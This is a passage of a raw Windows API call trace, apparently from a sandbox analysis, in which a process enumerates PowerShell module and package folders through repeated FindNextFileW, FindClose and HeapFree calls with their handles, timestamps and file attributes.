ftLastAccessTime.dwLowDateTime=0xa92aff0a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared Gadgets", cAlternateFileName="SHARED~1")) returned 0 [0185.859] FindClose (in: hFindFile=0x484558 | out: hFindFile=0x484558) returned 1 [0185.859] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fb08d0 | out: hHeap=0x420000) returned 1 [0185.860] FindNextFileW (in: hFindFile=0x484358, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x8da88b6d, ftLastAccessTime.dwHighDateTime=0x1d3274e, ftLastWriteTime.dwLowDateTime=0x8da88b6d, ftLastWriteTime.dwHighDateTime=0x1d3274e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="WindowsApps", cAlternateFileName="WI7DB9~1")) returned 1 [0185.861] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fb08d0 | out: hHeap=0x420000) returned 1 [0185.862] FindNextFileW (in: hFindFile=0x484358, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3b0b061f, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3b0b061f, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="WindowsPowerShell", cAlternateFileName="WID5B1~1")) returned 1 [0185.885] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0185.885] FindNextFileW (in: hFindFile=0x4840d8, lpFindFileData=0x30df584 | out: lpFindFileData=0x30df584*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502d74d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Schema", cAlternateFileName="")) returned 1 [0185.886] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0185.886] FindNextFileW (in: hFindFile=0x4840d8, lpFindFileData=0x30df584 | out: lpFindFileData=0x30df584*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502d74d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Schema", cAlternateFileName="")) returned 0 [0185.886] FindClose (in: hFindFile=0x4840d8 | out: hFindFile=0x4840d8) returned 1 [0185.886] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fc0940 | out: hHeap=0x420000) returned 1 [0185.886] FindNextFileW (in: hFindFile=0x484558, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb507390a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Modules", cAlternateFileName="")) returned 1 [0185.888] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0185.888] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e1d6b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 1 [0185.888] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0185.888] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e1d6b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 0 [0185.889] FindClose (in: hFindFile=0x484b58 | out: hFindFile=0x484b58) returned 1 [0185.889] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40a39f0 | out: hHeap=0x420000) returned 1 [0185.889] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30df08c | out: lpFindFileData=0x30df08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e3f39a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e3f39a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e3f39a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc4a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PowerShell.Operation.Validation.Format.ps1xml", cAlternateFileName="")) returned 1 [0185.890] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4121fa0 | out: hHeap=0x420000) returned 1 [0185.890] FindNextFileW (in: hFindFile=0x4121d48, lpFindFileData=0x30de69c | out: lpFindFileData=0x30de69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e65b3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Simple", cAlternateFileName="")) returned 0 [0185.890] FindClose (in: hFindFile=0x4121d48 | out: hFindFile=0x4121d48) returned 1 [0185.890] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0185.890] FindNextFileW (in: hFindFile=0x4121b88, lpFindFileData=0x30de918 | out: lpFindFileData=0x30de918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e60a0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 0 [0185.890] FindClose (in: hFindFile=0x4121b88 | out: hFindFile=0x4121b88) returned 1 [0185.890] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0185.890] FindNextFileW (in: hFindFile=0x484bd8, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e6b0e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example2.Diagnostics", cAlternateFileName="EXAMPL~2.DIA")) returned 1 [0185.891] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4131fa8 | out: hHeap=0x420000) returned 1 [0185.891] FindNextFileW (in: hFindFile=0x4121588, lpFindFileData=0x30de420 | out: lpFindFileData=0x30de420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e7ae8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 0 [0185.891] FindClose (in: hFindFile=0x4121588 | out: hFindFile=0x4121588) returned 1 [0185.891] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0185.891] FindNextFileW (in: hFindFile=0x4121208, lpFindFileData=0x30de69c | out: lpFindFileData=0x30de69c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e3f39a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e3f39a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e3f39a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x243, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example2.Diagnostics.psd1", cAlternateFileName="")) returned 1 [0185.892] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0185.892] FindNextFileW (in: hFindFile=0x4121288, lpFindFileData=0x30de918 | out: lpFindFileData=0x30de918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e6ff3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.1", cAlternateFileName="103623~1.1")) returned 0 [0185.892] FindClose (in: hFindFile=0x4121288 | out: hFindFile=0x4121288) returned 1 [0185.892] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4121fa0 | out: hHeap=0x420000) returned 1 [0185.894] FindNextFileW (in: hFindFile=0x484bd8, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e804c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example3.Diagnostics", cAlternateFileName="EXAMPL~3.DIA")) returned 1 [0185.895] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0185.895] FindNextFileW (in: hFindFile=0x4121548, lpFindFileData=0x30de420 | out: lpFindFileData=0x30de420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e907e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 0 [0185.895] FindClose (in: hFindFile=0x4121548 | out: hFindFile=0x4121548) returned 1 [0185.895] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0185.895] FindNextFileW (in: hFindFile=0x4121588, lpFindFileData=0x30de69c | out: lpFindFileData=0x30de69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e8b3f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 0 [0185.896] FindClose (in: hFindFile=0x4121588 | out: hFindFile=0x4121588) returned 1 [0185.896] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4131fa8 | out: hHeap=0x420000) returned 1 [0185.896] FindNextFileW (in: hFindFile=0x4121248, lpFindFileData=0x30de918 | out: lpFindFileData=0x30de918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e955d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2.0.1", cAlternateFileName="20519B~1.1")) returned 1 [0185.951] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0185.951] FindNextFileW (in: hFindFile=0x4121408, lpFindFileData=0x30de420 | out: lpFindFileData=0x30de420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50ea096, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 0 [0185.951] FindClose (in: hFindFile=0x4121408 | out: hFindFile=0x4121408) returned 1 [0185.951] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0185.951] FindNextFileW (in: hFindFile=0x4121008, lpFindFileData=0x30de69c | out: lpFindFileData=0x30de69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e9b5b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 0 [0185.951] FindClose (in: hFindFile=0x4121008 | out: hFindFile=0x4121008) returned 1 [0185.951] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4131fa8 | out: hHeap=0x420000) returned 1 [0185.951] FindNextFileW (in: hFindFile=0x4121248, lpFindFileData=0x30de918 | out: lpFindFileData=0x30de918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e955d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2.0.1", cAlternateFileName="20519B~1.1")) returned 0 [0185.951] FindClose (in: hFindFile=0x4121248 | out: hFindFile=0x4121248) returned 1 [0185.951] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4121fa0 | out: hHeap=0x420000) returned 1 [0185.953] FindNextFileW (in: hFindFile=0x484bd8, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e804c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example3.Diagnostics", cAlternateFileName="EXAMPL~3.DIA")) returned 0 [0185.953] FindClose (in: hFindFile=0x484bd8 | out: hFindFile=0x484bd8) returned 1 [0185.953] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0185.954] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e4074, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Modules", cAlternateFileName="")) returned 0 [0185.954] FindClose (in: hFindFile=0x484b58 | out: hFindFile=0x484b58) returned 1 [0185.954] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40a39f0 | out: hHeap=0x420000) returned 1 [0185.954] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30df08c | out: lpFindFileData=0x30df08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e2971, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Test", cAlternateFileName="")) returned 0 [0185.954] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0185.954] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0185.955] FindNextFileW (in: hFindFile=0x484ad8, lpFindFileData=0x30df308 | out: lpFindFileData=0x30df308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50df8d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.1", cAlternateFileName="103623~1.1")) returned 0 [0185.955] FindClose (in: hFindFile=0x484ad8 | out: hFindFile=0x484ad8) returned 1 [0185.955] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0185.957] FindNextFileW (in: hFindFile=0x4840d8, lpFindFileData=0x30df584 | out: lpFindFileData=0x30df584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50eaa6c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PackageManagement", cAlternateFileName="PACKAG~1")) returned 1 [0186.015] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4121fa0 | out: hHeap=0x420000) returned 1 [0186.015] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30df08c | out: lpFindFileData=0x30df08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a56a3f4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5da012f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5da012f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PackageManagement.ArchiverProviders.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0186.015] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0186.016] FindNextFileW (in: hFindFile=0x484ad8, lpFindFileData=0x30df308 | out: lpFindFileData=0x30df308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb512ac95, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 0 [0186.016] FindClose (in: hFindFile=0x484ad8 | out: hFindFile=0x484ad8) returned 1 [0186.016] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0186.016] FindNextFileW (in: hFindFile=0x4840d8, lpFindFileData=0x30df584 | out: lpFindFileData=0x30df584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x462363f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x462363f6, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Pester", cAlternateFileName="")) returned 1 [0186.019] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4121fa0 | out: hHeap=0x420000) returned 1 [0186.019] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30df08c | out: lpFindFileData=0x30df08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4efce146, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4efce146, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4efce146, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2c1e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="build.psake.ps1", cAlternateFileName="")) returned 1 [0186.020] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4121fa0 | out: hHeap=0x420000) returned 1 [0186.020] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30df08c | out: lpFindFileData=0x30df08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e4b40, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc6d7de, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Examples", cAlternateFileName="")) returned 1 [0186.021] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4131fa8 | out: hHeap=0x420000) returned 1 [0186.021] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e59c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Validator", cAlternateFileName="VALIDA~1")) returned 1 [0186.022] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4131fa8 | out: hHeap=0x420000) returned 1 [0186.022] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e59c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Validator", cAlternateFileName="VALIDA~1")) returned 0 [0186.022] FindClose (in: hFindFile=0x484b58 | out: hFindFile=0x484b58) returned 1 [0186.022] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4121fa0 | out: hHeap=0x420000) returned 1 [0186.022] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30df08c | out: lpFindFileData=0x30df08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb524b496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3246caf, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Functions", cAlternateFileName="FUNCTI~1")) returned 1 [0186.028] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4131fa8 | out: hHeap=0x420000) returned 1 [0186.028] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e644ade, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e644ade, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e644ade, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2eca, dwReserved0=0x0, dwReserved1=0x0, cFileName="Context.ps1", cAlternateFileName="")) returned 1 [0186.030] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4121fa0 | out: hHeap=0x420000) returned 1 [0186.030] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30df08c | out: lpFindFileData=0x30df08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eff43a1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4eff43a1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4eff43a1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x263, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LICENSE", cAlternateFileName="")) returned 1 [0186.033] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4121fa0 | out: hHeap=0x420000) returned 1 [0186.034] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30df08c | out: lpFindFileData=0x30df08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, 